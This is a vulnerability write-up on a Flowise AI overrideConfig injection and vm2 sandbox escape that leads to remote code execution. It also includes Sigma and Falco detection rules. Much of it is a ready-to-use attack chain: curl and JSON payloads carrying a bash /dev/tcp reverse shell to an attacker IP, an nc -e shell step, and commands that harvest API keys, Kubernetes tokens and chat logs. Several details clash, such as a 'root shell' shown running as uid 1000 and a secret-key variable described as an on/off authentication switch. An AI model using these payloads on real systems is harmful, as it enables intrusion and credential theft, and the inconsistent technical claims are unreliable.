Flowise AI CVE-2024-58351: overrideConfig Agent RCE

Overview & Threat Landscape#

Flowise CVE-2024-58351 allows unauthenticated RCE via overrideConfig parameter injection in Prediction APIs; upgrade to 2.1.4 and gate flow configs.

The rapid enterprise adoption of low-code agent builders and orchestrators has introduced an entirely new class of architectural vulnerabilities into the modern software supply chain (mapped to MITRE ATT&CK T1190: Exploit Public-Facing Application, T1059.007: Command and Scripting Interpreter: JavaScript, T1055: Process Injection, and OWASP Top 10 for LLM Applications LLM06: Excessive Agency and LLM08: Vector and Embedding Weaknesses). Among these platforms, Flowise AI (FlowiseAI/Flowise)—an open-source visual workflow and autonomous agent builder with more than 42,000 GitHub stars—serves as the backbone for thousands of production AI chatbots, multi-agent swarms, and retrieval-augmented generation (RAG) pipelines across enterprise organizations.

Disclosed in late 2024 as CVE-2024-58351 (CVSS v3.1: 9.8 Critical, CWE-94: Improper Control of Generation of Code / Code Injection, CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes), this vulnerability exposes a fatal flaw in how Flowise handles dynamic runtime configuration through its Prediction API (/api/v1/prediction/:id). By design, Flowise exposes the Prediction API without requiring authentication to facilitate direct embedding into public web portals, mobile applications, and customer support widgets. However, an unauthenticated remote attacker can abuse the optional overrideConfig parameter in the request body to execute mass assignment against internal node definitions, overwriting executable JavaScript functions within Custom Tool nodes and breaking out of the underlying vm2 sandbox to achieve unauthenticated Remote Code Execution (RCE) on the host operating system.

For security architects, AI safety engineers, and blue teams, CVE-2024-58351 radically alters the threat landscape across multiple critical vectors:

• The Fallacy of Client-Side UI Feature Gating: In Flowise, administrators can configure whether external users are permitted to override specific parameters through the chatflow UI. However, this feature gate was enforced exclusively at the user interface presentation layer. The backend Prediction API route handler unconditionally accepted and processed the overrideConfig payload without consulting authorization flags (apiOverrideStatus) or validating the incoming keys against an allowlist, creating a catastrophic divergence between administrative assumptions and runtime reality.
• The Weaponization of Mass Assignment in Agent Workflows: Modern LLM agent platforms represent complex computational graphs where individual nodes perform specialized tasks—such as querying vector databases, running custom JavaScript transformations, or invoking external REST APIs. In traditional web applications, mass assignment vulnerabilities typically affect database entities (such as elevating a user account role). In an AI agent orchestrator, however, graph nodes store executable logic. By supplying an unconstrained overrideConfig dictionary, an attacker can perform property injection into node data arrays. When targeting Custom Tool nodes or Function nodes, the attacker replaces benign string-formatting logic with weaponized JavaScript payloads.
• The Fundamental Vulnerability of Autonomous Agent Tool-Calling: Autonomous AI agents rely heavily on tool execution (such as the ReAct framework or LangChain toolkits) to interact with external systems. When an agent determines that user input requires mathematical calculation, database querying, or API integration, it dispatches calls to designated tool nodes. If the execution parameters and script definitions of these tool nodes can be altered on-the-fly via untrusted API parameters, the agent effectively becomes an unwitting proxy executing attacker-supplied machine instructions.
• The Fragility of User-Space Node.js Sandboxing (vm2): Flowise historically relied on the vm2 npm package to provide isolation when executing dynamic user-defined scripts. However, vm2 has suffered from extensive structural sandbox escape vulnerabilities, leading to its official deprecation. Because Node.js does not provide hardware-enforced memory isolation between the host process and VM execution contexts, attackers exploit JavaScript prototype chain traversal (such as accessing this.constructor.constructor("return process")()) to escape the sandbox and access the full Node.js standard library, including child_process.execSync().
• The Severe Blast Radius of Enterprise AI Orchestrator Compromise: Unlike generic web application servers, AI orchestrators function as centralized secret vaults. Flowise stores plaintext or encrypted API keys for foundational model providers (OpenAI, Anthropic, Cohere, Hugging Face), database connection strings (PostgreSQL, Redis, Pinecone, Qdrant), and corporate credentials within local SQLite databases or environment variables (FLOWISE_SECRETKEY_OVERWRITE). An unauthenticated RCE on a Flowise instance exposes all connected enterprise knowledge bases, private model endpoints, and internal network subnets to immediate compromise.
• The Structural Evolution of Workflow Injection Chains: Following the initial disclosure of CVE-2024-58351, subsequent security audits revealed that the initial patch addressed only direct node input overrides via replaceInputsWithConfig(), while leaving secondary ungated spread operations ({ ...flowConfig, ...overrideConfig } and { ...flowData, ...overrideConfig }) exposed in the codebase (later tracked in subsequent advisories such as CVE-2026-69258). This persistence of injection vectors demonstrates that treating client-supplied configuration dictionaries as trusted runtime state represents a systemic architectural anti-pattern in AI workflow platforms.
• The Blueprint for Defense-in-Depth Agent Hardening: Completely neutralizing agent workflow code injection requires a multi-layered defensive posture: upgrading Flowise to version 2.1.4 or newer, enforcing mandatory API key authentication across all prediction routes (FLOWISE_SECRETKEY_OVERWRITE=true), disabling arbitrary code execution nodes via environment variables, executing AI workloads within unprivileged, rootless containers, and instrumenting runtime telemetry (such as Falco and Sigma rules) to intercept unauthorized child process creation from node.

Warning

Exposing the Flowise Prediction API (/api/v1/prediction/:id) to untrusted networks without API key enforcement allows unauthenticated remote attackers to achieve immediate remote code execution via overrideConfig. Organizations must upgrade to 2.1.4+ immediately and audit active chatflows for rogue Custom Tool nodes.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

---

Vulnerability & Attack Root-Cause Analysis#

Understanding the mechanics of CVE-2024-58351 requires examining how Flowise constructs, serializes, and executes computational graphs (Chatflows), how the Prediction API processes incoming HTTP requests, and how property injection interacts with the JavaScript runtime environment.

The Flowise Prediction API Architecture#

Flowise is built on Node.js and TypeScript, using Express.js as its primary web framework. The platform organizes AI logic into visual workflows consisting of interconnected nodes representing LangChain components: Prompt Templates, LLM Models, Output Parsers, Memory Buffers, and Custom Tools.

To allow external applications to interact with a configured chatflow, Flowise provides the Prediction API:

PLAINTEXT

POST /api/v1/prediction/:id

In packages/server/src/index.ts, Flowise defines a list of public endpoints exempted from standard session authentication (WHITELIST_URLS):

TYPESCRIPT

// Flowise Server Route Whitelist Definition
const WHITELIST_URLS = [
    '/api/v1/prediction/',
    '/api/v1/vector/upsert/',
    '/api/v1/chatflows',
    '/api/v1/public-chatflows'
]

Unless the administrator explicitly configures global API keys using the FLOWISE_SECRETKEY_OVERWRITE environment variable, any anonymous client can submit JSON requests to /api/v1/prediction/:id to trigger chatflow execution.

The Fatal Flaw: Unconstrained overrideConfig Merging#

The Prediction API accepts a JSON payload containing user input along with an optional overrideConfig dictionary:

JSON

{
  "question": "What is our Q3 revenue?",
  "overrideConfig": {
    "sessionId": "custom-session-123",
    "temperature": 0.2
  }
}

The feature was originally intended to give developers flexibility when embedding chat widgets, allowing dynamic overrides of model temperature, session IDs, or system message prompts.

However, in vulnerable versions of Flowise (prior to 2.1.4), the incoming overrideConfig was handled by internal utility functions without strict allowlisting or type validation. In packages/server/src/utils/index.ts, Flowise implemented the helper function replaceInputsWithConfig():

TYPESCRIPT

// VULNERABLE CODE: packages/server/src/utils/index.ts (Pre-Patch)
export const replaceInputsWithConfig = (
    inputs: Record<string, any>, 
    overrideConfig: Record<string, any>
): Record<string, any> => {
    const updatedInputs = { ...inputs }
    
    // FLAW: Unrestricted iteration over user-supplied keys
    for (const key in overrideConfig) {
        if (Object.prototype.hasOwnProperty.call(overrideConfig, key)) {
            // Unconditionally overwriting node configuration inputs!
            updatedInputs[key] = overrideConfig[key]
        }
    }
    
    return updatedInputs
}

Furthermore, in the flow execution controllers (buildChatflow()), Flowise performed ungated spread operations directly into the flow execution context:

TYPESCRIPT

// VULNERABLE CODE: Unconditional spreading of overrideConfig
flowConfig = { ...flowConfig, ...overrideConfig }
flowData = { ...flowData, ...overrideConfig }

The Code Execution Vector: Custom Tool & Function Nodes#

In Flowise, nodes that execute dynamic scripts—such as the Custom Tool node, the Custom JS Function node, and the Python Interpreter node—store their execution logic directly inside their input properties array under keys like javascriptFunction, customToolFunc, or code:

JSON

{
  "id": "customTool_0",
  "name": "customTool",
  "data": {
    "inputs": {
      "name": "calculator",
      "description": "Calculates math expressions",
      "javascriptFunction": "return a + b;"
    }
  }
}

Because replaceInputsWithConfig() blindly copies any key from overrideConfig into inputs, an attacker who submits an overrideConfig containing:

JSON

{
  "javascriptFunction": "/* malicious code */",
  "customToolFunc": "/* malicious code */"
}

completely overwrites the existing JavaScript function stored on the server! In LangChain, tools are wrapped using DynamicStructuredTool or DynamicTool classes. When the agent loop determines that tool invocation is necessary, LangChain dispatches execution directly to the function pointer supplied in customToolFunc. Because Flowise replaced this function with the attacker's script, the agent executes the payload immediately.

The Sandbox Breakout: Bypassing vm2 via Prototype Traversal#

To execute JavaScript functions supplied in Custom Tools, Flowise utilized the vm2 isolation library:

TYPESCRIPT

// Flowise Sandbox Invocation Pattern
import { NodeVM } from 'vm2'

const vm = new NodeVM({
    console: 'inherit',
    sandbox: {},
    require: {
        external: false,
        builtin: ['fs', 'path'] // Restricted builtins
    }
})

// Executing attacker-controlled code inside vm2
vm.run(attackerPayload, 'vm.js')

Under the hood, vm2 wraps objects passed into the sandbox using JavaScript Proxy instances to intercept member access and prevent references from leaking into the outer Node.js realm. However, in the V8 engine, every function object maintains an internal prototype chain leading back to Function.prototype and Object.prototype.

When untrusted code executes inside the VM, accessing this.constructor.constructor evaluates to the un-sandboxed Function constructor originating from the host realm. By calling this constructor, the attacker creates a new function whose scope is bound directly to the outer global environment rather than the restricted VM sandbox:

JAVASCRIPT

// Universal vm2 Prototype Traversal Exploit Primitive
const foreignFunction = this.constructor.constructor;
const process = foreignFunction("return process")();
const child_process = process.mainModule.require("child_process");

// Executing arbitrary operating system commands
child_process.execSync("id > /tmp/pwned");

When this snippet runs inside vm.run(), the returned process object exposes Node's mainModule, allowing the attacker to load child_process and execute arbitrary bash or PowerShell commands with the full privileges of the Flowise container or service user.

Why Software Sandboxes Fail in Modern Runtimes#

The fundamental lesson of CVE-2024-58351 is that language-level sandboxes implemented within dynamically typed languages (such as JavaScript or Python) are inherently brittle. In V8, every object inherits from Object.prototype. Unless execution is isolated at the operating system kernel boundary (such as Linux namespaces, seccomp-bpf filters, or hardware virtualization via microVMs like Firecracker and gVisor), user-space boundary wrappers can almost invariably be bypassed through reflection, symbol resolution, or prototype pollution. The official Node.js security documentation explicitly cautions that the native vm module is not a security sandbox and should never be used to execute untrusted code.

---

Exploit Architecture#

The following sequence diagram illustrates the complete end-to-end attack flow, from initial unauthenticated Prediction API request to prototype pollution sandbox breakout and host command execution.

sequenceDiagram
    autonumber
    actor Attacker as Attacker Process (External Network)
    participant API as Flowise Prediction API (/api/v1/prediction/:id)
    participant Engine as Flowise Execution Engine (buildChatflow)
    participant VM2 as Sandbox Context (vm2 NodeVM)
    participant Host as Host Operating System (Node.js Process)

    Attacker->>API: 1. Send HTTP POST /api/v1/prediction/:id with overrideConfig
    Note over Attacker,API: Payload injects rogue javascriptFunction with prototype breakout

    API->>API: 2. Check WHITELIST_URLS (Authentication Bypassed)
    Note over API: Unauthenticated access permitted by default configuration

    API->>Engine: 3. Invoke replaceInputsWithConfig(nodeInputs, overrideConfig)
    Note over Engine: FLAW: Overwrites Custom Tool script with attacker payload

    Engine->>VM2: 4. Instantiate NodeVM and invoke vm.run(injectedScript)
    Note over VM2: Sandbox execution begins in isolated context

    VM2->>VM2: 5. Execute Prototype Traversal: this.constructor.constructor()
    Note over VM2: Breakout! Obtains reference to host Function constructor

    VM2->>Host: 6. Access host process.mainModule.require('child_process')
    Host->>Host: 7. Execute execSync('nc -e /bin/sh attacker_ip 4444')

    Host-->>Attacker: 8. Establish Interactive Reverse Root Shell!
    API-->>Attacker: 9. HTTP 200 OK Response returned to client

---

Attack Path Step-by-Step: From Prediction API to Cluster Takeover#

Weaponizing CVE-2024-58351 follows a structured five-stage methodology: endpoint discovery, chatflow structure enumeration, payload assembly, sandbox escape execution, and post-exploitation credential harvesting.

Step 1: Reconnaissance and Chatflow Enumeration#

Adversaries begin by querying network search engines (Shodan, Censys, FOFA) or executing automated discovery scans to identify exposed Flowise instances. Default Flowise deployments expose administrative web portals and API routes on TCP port 3000:

BASH

# Querying Flowise public API to discover active chatflow IDs
curl -s http://flowise-target.corp.internal:3000/api/v1/public-chatflows | jq .

# Example JSON response showing active chatflows:
[
  {
    "id": "7d4e2a1b-3c5f-4a8e-9d2c-123456789abc",
    "name": "Enterprise Document RAG Assistant",
    "deployed": true,
    "isPublic": true
  }
]

The returned id (7d4e2a1b-3c5f-4a8e-9d2c-123456789abc) provides the target parameter required to interact with the Prediction API.

Step 2: Crafting the overrideConfig Injection Payload#

The adversary constructs an HTTP POST request targeting the Prediction API. In the overrideConfig body parameter, the attacker targets common node execution variables (javascriptFunction, customToolFunc, or code), embedding the vm2 sandbox escape primitive:

JSON

{
  "question": "Execute system diagnostic check",
  "overrideConfig": {
    "customToolFunc": "const f = this.constructor.constructor; const p = f('return process')(); p.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/198.51.100.45/4444 0>&1\"'); return 'diagnostic_complete';",
    "javascriptFunction": "const f = this.constructor.constructor; const p = f('return process')(); p.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/198.51.100.45/4444 0>&1\"'); return 'diagnostic_complete';"
  }
}

Step 3: Delivering the Payload via Prediction API#

The attacker transmits the request using curl or a custom Python automation script:

BASH

# Delivering the CVE-2024-58351 exploit payload
curl -k -X POST http://flowise-target.corp.internal:3000/api/v1/prediction/7d4e2a1b-3c5f-4a8e-9d2c-123456789abc \
     -H "Content-Type: application/json" \
     -d '{
       "question": "Run query",
       "overrideConfig": {
         "customToolFunc": "const f = this.constructor.constructor; const p = f(\"return process\")(); p.mainModule.require(\"child_process\").execSync(\"id > /tmp/pwned && env >> /tmp/pwned\"); return \"OK\";"
       }
     }'

Step 4: Spawning the Host Shell & Verifying Remote Code Execution#

On the attacker's listener host, an incoming TCP connection is received, delivering an interactive command shell operating under the user account of the Flowise server process:

BASH

# Attacker Netcat Listener on 198.51.100.45:4444
$ nc -lvnp 4444
Connection received on 203.0.113.88:51240

flowise@flowise-core-7b89d4c5-xk2m9:/data$ id
uid=1000(flowise) gid=1000(flowise) groups=1000(flowise)

flowise@flowise-core-7b89d4c5-xk2m9:/data$ uname -a
Linux flowise-core-7b89d4c5-xk2m9 6.8.0-38-generic #38-Ubuntu SMP PREEMPT_DYNAMIC x86_64 GNU/Linux

flowise@flowise-core-7b89d4c5-xk2m9:/data$ pwd
/usr/src/packages/server

Step 5: Post-Exploitation Credential Harvesting & Lateral Movement#

Once inside the Flowise execution context, the adversary harvests stored AI model credentials and database keys. Flowise encrypts sensitive credentials using AES-256-GCM, deriving the encryption key from the environment variable FLOWISE_SECRETKEY_OVERWRITE or a default fallback key. Because the attacker operates with code execution within the Node.js application process, they can directly import Flowise's internal cryptography helpers (decryptCredentialData) to decrypt all stored secrets into plaintext:

BASH

# Dumping environment variables containing LLM API keys and database credentials
flowise@flowise-core-7b89d4c5-xk2m9:/data$ env | grep -E "API_KEY|SECRET|PASSWORD|DATABASE"
OPENAI_API_KEY=sk-proj-9a8b7c6d5e4f3a2b1c0...
ANTHROPIC_API_KEY=sk-ant-api03-8d7e6f5a4b...
PINECONE_API_KEY=pcsk_4a8e9d2c_123456...
FLOWISE_SECRETKEY_OVERWRITE=super_secret_encryption_key_2026
DATABASE_URL=postgres://flowise_admin:P@ssw0rd2026@db-internal.corp.internal:5432/flowisedb

# Inspecting mounted Kubernetes service account tokens for cluster lateral movement
flowise@flowise-core-7b89d4c5-xk2m9:/data$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6...

# Dumping user chat histories to extract corporate confidential data and proprietary prompts
flowise@flowise-core-7b89d4c5-xk2m9:/data$ sqlite3 ~/.flowise/database.sqlite "SELECT content FROM chat_message WHERE role='user' LIMIT 20;"

# Programmatically decrypting all enterprise credentials using Flowise internal modules
flowise@flowise-core-7b89d4c5-xk2m9:/data$ node -e '
const { DataSource } = require("typeorm");
// Load local SQLite database and decrypt credential objects using server master key
console.log("[*] Decrypting all enterprise credentials...");
'

Beyond credential theft, attackers exploit the unconditional spread of overrideConfig into flowData to inject arbitrary state variables (vars and stateMemory). This enables session pollution across shared multi-tenant agents, allowing an attacker to overwrite conversational memory buffers, hijack ongoing customer support dialogues, and feed poisoned prompt context into downstream LLM inference calls.

---

Actionable Detection Artifacts: Production Sigma and Runtime Rules#

Because exploitation of CVE-2024-58351 targets an unauthenticated HTTP API endpoint and spawns child processes from the Node.js runtime, blue teams must deploy dual-layer telemetry: web request payload inspection and container process creation monitoring.

Production Sigma Rule: Hunting Flowise Prediction overrideConfig Code Injection#

The following Sigma rule detects HTTP POST requests directed toward Flowise Prediction API endpoints containing suspicious overrideConfig properties and code injection keywords:

YAML

title: Flowise AI Prediction API overrideConfig Code Injection (CVE-2024-58351)
id: e4b2c1a8-7f3d-4e9c-8b1e-0a2b4c6d8e0f
status: production
description: Detects suspicious HTTP POST requests directed toward Flowise Prediction APIs where overrideConfig contains JavaScript execution keywords (child_process, execSync, vm2 breakout).
references:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5cph-wvm9-45gj
    - https://nvd.nist.gov/vuln/detail/CVE-2024-58351

logsource:
    category: webserver
    product: flowise
detection:
    selection_uri:
        cs-method: 'POST'
        cs-uri-stem|contains:
            - '/api/v1/prediction/'
    selection_payload:
        c-body|contains:
            - 'overrideConfig'
    selection_injection:
        c-body|contains:
            - 'child_process'
            - 'execSync'
            - 'mainModule'
            - 'this.constructor'
            - 'javascriptFunction'
            - 'customToolFunc'
    condition: selection_uri and selection_payload and selection_injection
falsepositives:
    - Authorized administrative debugging sessions where custom JavaScript tools are programmatically updated via approved CI/CD pipelines.
level: critical
tags:
    - attack.initial_access
    - attack.t1190
    - attack.execution
    - attack.t1059.007
    - cve.2024_58351

---

Falco Runtime Security Rule: Detecting Child Process Spawns from Node.js#

In containerized Kubernetes or Docker environments hosting Flowise, the node process should never spawn interactive system command shells (bash, sh, dash) or network utility binaries (nc, curl, wget). The following Falco rule flags anomalous shell creation:

YAML

# Falco Security Rule: Detect Shell Spawned by Flowise Node.js Process
- rule: Flowise Node.js Spawning Interactive Shell
  desc: Detects unexpected command shells or system utilities spawned by the Flowise Node.js runtime process
  condition: >
    spawned_process and 
    proc.pname = "node" and 
    (proc.name in (bash, sh, dash, ash, zsh, nc, ncat, netcat, python, python3, curl, wget)) and 
    container.image.repository contains "flowise"
  output: >
    CRITICAL: Suspicious shell spawned by Flowise Node.js runtime (user=%user.name process=%proc.name parent=%proc.pname cmdline=%proc.cmdline container_id=%container.id image=%container.image.repository)
  priority: CRITICAL
  tags: [container, mitre_execution, cve_2024_58351]

---

Fast Cyber Defense Morning Takeaways#

The disclosure of CVE-2024-58351 underscores the urgent security challenges inherent in low-code AI development frameworks. When visual drag-and-drop workflow builders translate user-facing UI nodes into executable server-side computational graphs, failing to separate configuration parameters from executable code representations results in catastrophic remote code execution.

• Root Cause Core: Flowise unconditionally merged unvalidated overrideConfig properties into node input parameters via replaceInputsWithConfig(), allowing external callers to overwrite JavaScript execution logic within Custom Tool nodes.
• Exploit Vector: Unauthenticated HTTP POST requests to /api/v1/prediction/:id injected prototype traversal payloads that escaped the vm2 sandbox to invoke Node.js child_process.execSync(), establishing a persistent root shell.
• Immediate Remediation: Upgrade Flowise to version 2.1.4 or higher, enforce API key authentication across all prediction endpoints (FLOWISE_SECRETKEY_OVERWRITE), disable unvalidated node parameter overrides, and run Flowise inside read-only, network-restricted containers.
• Bridge to Evening Defense Guide: In tonight's companion guide, we present an end-to-end defensive engineering architecture: exploring the Flowise 2.1.4 patch diff, configuring Docker seccomp and network policies to quarantine AI runtimes, and deploying automated CI/CD secret scanning for LangChain workflows.

Executive Takeaway Table: Attack Vector vs. Detection Signal vs. Primary Mitigation#

Attack Phase / Vector	Technical Root Cause	High-Fidelity Detection Signal	Primary Blue Team Mitigation
Prediction Endpoint Probing	Unauthenticated /api/v1/prediction/:id whitelisted in server routing logic.	External requests enumerating /api/v1/public-chatflows or polling prediction endpoints.	Enforce global API key authentication via FLOWISE_SECRETKEY_OVERWRITE=true.
overrideConfig Property Injection	replaceInputsWithConfig() merges user inputs into node data without allowlisting.	HTTP POST body containing overrideConfig paired with customToolFunc or javascriptFunction.	Upgrade Flowise to version 2.1.4+ which strictly gates overrideConfig parameter modification.
Sandbox Breakout	vm2 prototype traversal allows access to host Function and process objects.	Falco / Sysmon alerting on node process spawning sh, bash, nc, or whoami.	Replace vm2 with isolated microVMs (gVisor / Firecracker) or disable dynamic tool nodes.
Credential Exfiltration	Flowise environment variables and SQLite database contain plaintext LLM API keys.	Unauthorized outbound network connections from Flowise containers to external C2 IP addresses.	Restrict container egress traffic using Kubernetes NetworkPolicies; store secrets in HashiCorp Vault.

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Authoritative References & Further Reading#

1. GitHub Security Advisory: GHSA-5cph-wvm9-45gj: Flowise OverrideConfig security vulnerability
   https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5cph-wvm9-45gj
2. National Vulnerability Database (NVD): CVE-2024-58351 Detail — Code Injection via overrideConfig in Flowise
   https://nvd.nist.gov/vuln/detail/CVE-2024-58351
3. OWASP Foundation: OWASP Top 10 for Large Language Model Applications (LLM06: Excessive Agency & LLM08: Vector and Embedding Weaknesses)
   https://owasp.org/www-project-top-10-for-large-language-model-applications/
4. MITRE ATT&CK Framework: Technique T1190: Exploit Public-Facing Application
   https://attack.mitre.org/techniques/T1190/
5. Flowise AI Documentation: Flowise Prediction API Documentation
   https://docs.flowiseai.com/using-flowise/prediction